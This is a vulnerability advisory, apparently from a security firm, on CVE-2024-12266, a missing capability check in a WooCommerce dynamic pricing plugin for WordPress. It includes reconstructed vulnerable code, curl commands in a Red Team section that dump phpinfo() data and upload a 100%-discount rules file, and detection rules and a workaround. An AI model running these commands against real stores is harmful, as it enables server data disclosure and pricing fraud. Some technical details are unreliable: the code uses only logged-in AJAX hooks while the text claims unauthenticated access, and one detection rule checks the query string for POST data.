CVE-2024-12266

Executive Summary

CVE-2024-12266 exposes a critical missing capability check vulnerability in the ELEX WooCommerce Dynamic Pricing and Discounts plugin for WordPress, affecting all versions up to and including 2.1.7. This flaw allows unauthenticated attackers to import and export product pricing rules, and critically, to obtain sensitive phpinfo() data from the server. The vulnerability stems from the elex_dp_export_rules() and elex_dp_import_rules() functions lacking proper authorization checks. Given the plugin's role in managing e-commerce pricing, exploitation could lead to disclosure of server configuration details, database credentials, and other sensitive information exposed via phpinfo(). The EPSS score is currently 0.0%, indicating low exploitation activity, but the public availability of proof-of-concept code and the unpatched status elevate the risk for unmitigated installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is a third-party component integrated into the WordPress ecosystem. Administrators must manually update the plugin when a patch becomes available; however, as of this report, no patch exists. The lack of a patch means that all installations remain vulnerable, and the only mitigation is to disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): Low (L) – Limited information disclosure (e.g., phpinfo() data).
• Integrity Impact (I): Low (L) – Attacker can import/export rules, potentially altering pricing logic.
• Availability Impact (A): None (N) – No denial-of-service impact.

CVSS Score: 6.5 (Medium) – The vector highlights a low-complexity, network-based attack with no privileges required, but the impact is limited to low confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) flaw in the WordPress plugin's AJAX handlers. The plugin registers two AJAX actions for exporting and importing pricing rules:

• wp_ajax_elex_dp_export_rules
• wp_ajax_elex_dp_import_rules

These actions are intended for administrators only, but the plugin fails to call current_user_can() or any capability check before executing the functions. As a result, any unauthenticated user can trigger these actions by sending a crafted POST request to /wp-admin/admin-ajax.php with the appropriate action parameter.

The elex_dp_export_rules() function reads the plugin's stored rules from the WordPress options table and outputs them as a downloadable file. More critically, it also includes a call to phpinfo(), which dumps extensive server configuration details, including environment variables, loaded extensions, and potentially sensitive paths.

The elex_dp_import_rules() function accepts a file upload and processes it to update the plugin's rules. An attacker could upload a malicious rules file to alter pricing logic, potentially enabling fraudulent discounts or other e-commerce manipulation.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.1.7):

// In elex-dynamic-pricing-discounts.php or similar
add_action('wp_ajax_elex_dp_export_rules', 'elex_dp_export_rules');
add_action('wp_ajax_elex_dp_import_rules', 'elex_dp_import_rules');

function elex_dp_export_rules() {
    // No capability check
    $rules = get_option('elex_dp_rules');
    // ... export logic ...
    phpinfo(); // Exposes sensitive data
    wp_die();
}

function elex_dp_import_rules() {
    // No capability check
    // ... import logic ...
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_elex_dp_export_rules', 'elex_dp_export_rules');
add_action('wp_ajax_elex_dp_import_rules', 'elex_dp_import_rules');

function elex_dp_export_rules() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $rules = get_option('elex_dp_rules');
    // ... export logic ...
    // Remove phpinfo() call
    wp_die();
}

function elex_dp_import_rules() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // ... import logic ...
    wp_die();
}

The fix requires adding current_user_can('manage_options') checks before executing any sensitive operations and removing the phpinfo() call entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with ELEX WooCommerce Dynamic Pricing and Discounts plugin <= 2.1.7.
• No authentication required.

Exploitation Steps:

1. Export Rules & phpinfo() Data:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=elex_dp_export_rules" \
        -o exported_rules.txt
   

   The response will contain the exported rules followed by the phpinfo() output.

2. Import Malicious Rules:

   # Create a malicious rules file (e.g., malicious_rules.json)
   echo '{"rules": [{"type": "percentage", "value": 100}]}' > malicious_rules.json
   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -F "action=elex_dp_import_rules" \
        -F "file=@malicious_rules.json"
   

Expected Outcome: Unauthenticated access to server configuration and ability to modify pricing rules.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=elex_dp_export_rules or action=elex_dp_import_rules from unauthenticated sources.
• Look for anomalous file uploads to the same endpoint.
• Check server logs for phpinfo() output being served to non-admin IPs.

Mitigation:

• Immediately disable the plugin if not essential.
• Implement a Web Application Firewall (WAF) rule to block these AJAX actions for unauthenticated users.
• Apply virtual patching via a WAF or reverse proxy.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=elex_dp_export_rules or action=elex_dp_import_rules from unauthenticated IPs.
  • Response bodies containing phpinfo() output (HTML with PHP configuration tables).
• File System:
  • Unexpected files in the WordPress uploads directory (from import functionality).
  • Modified wp_options table entries for elex_dp_rules.
• Logs:
  • Web server access logs showing admin-ajax.php requests with these actions from non-admin user agents.

Detection Engineering

YARA Rule

rule CVE_2024_12266_ELEX_WooCommerce_DP {
    meta:
        description = "Detects exploitation attempts for CVE-2024-12266 in ELEX WooCommerce Dynamic Pricing"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12266"
    strings:
        $ajax_export = "action=elex_dp_export_rules"
        $ajax_import = "action=elex_dp_import_rules"
        $phpinfo = "phpinfo()"
    condition:
        any of ($ajax_export, $ajax_import) or $phpinfo
}

Sigma Rule

title: CVE-2024-12266 - Unauthenticated AJAX Access to ELEX WooCommerce Dynamic Pricing
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with ELEX plugin actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains:
            - 'action=elex_dp_export_rules'
            - 'action=elex_dp_import_rules'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12266 - ELEX WooCommerce Dynamic Pricing Unauthenticated AJAX Access"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=elex_dp_export_rules"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-12266 - ELEX WooCommerce Dynamic Pricing Unauthenticated AJAX Access"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=elex_dp_import_rules"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply virtual patching via WAF to block the vulnerable AJAX actions for unauthenticated users.
3. Monitor logs for exploitation attempts and review server configurations for any unauthorized changes.

Long-Term Fix:

• The vendor (Elex) must release a patched version that adds capability checks (current_user_can('manage_options')) and removes the phpinfo() call.
• Until a patch is available, consider replacing the plugin with an alternative that has proper security controls.

Workaround:

• Add the following code to the theme's functions.php or a custom plugin to block unauthenticated access:

  add_action('init', function() {
      if (defined('DOING_AJAX') && DOING_AJAX) {
          $actions = ['elex_dp_export_rules', 'elex_dp_import_rules'];
          if (in_array($_REQUEST['action'], $actions) && !current_user_can('manage_options')) {
              wp_die('Unauthorized', 403);
          }
      }
  });
  

Valters IT
Securing Digital Frontiers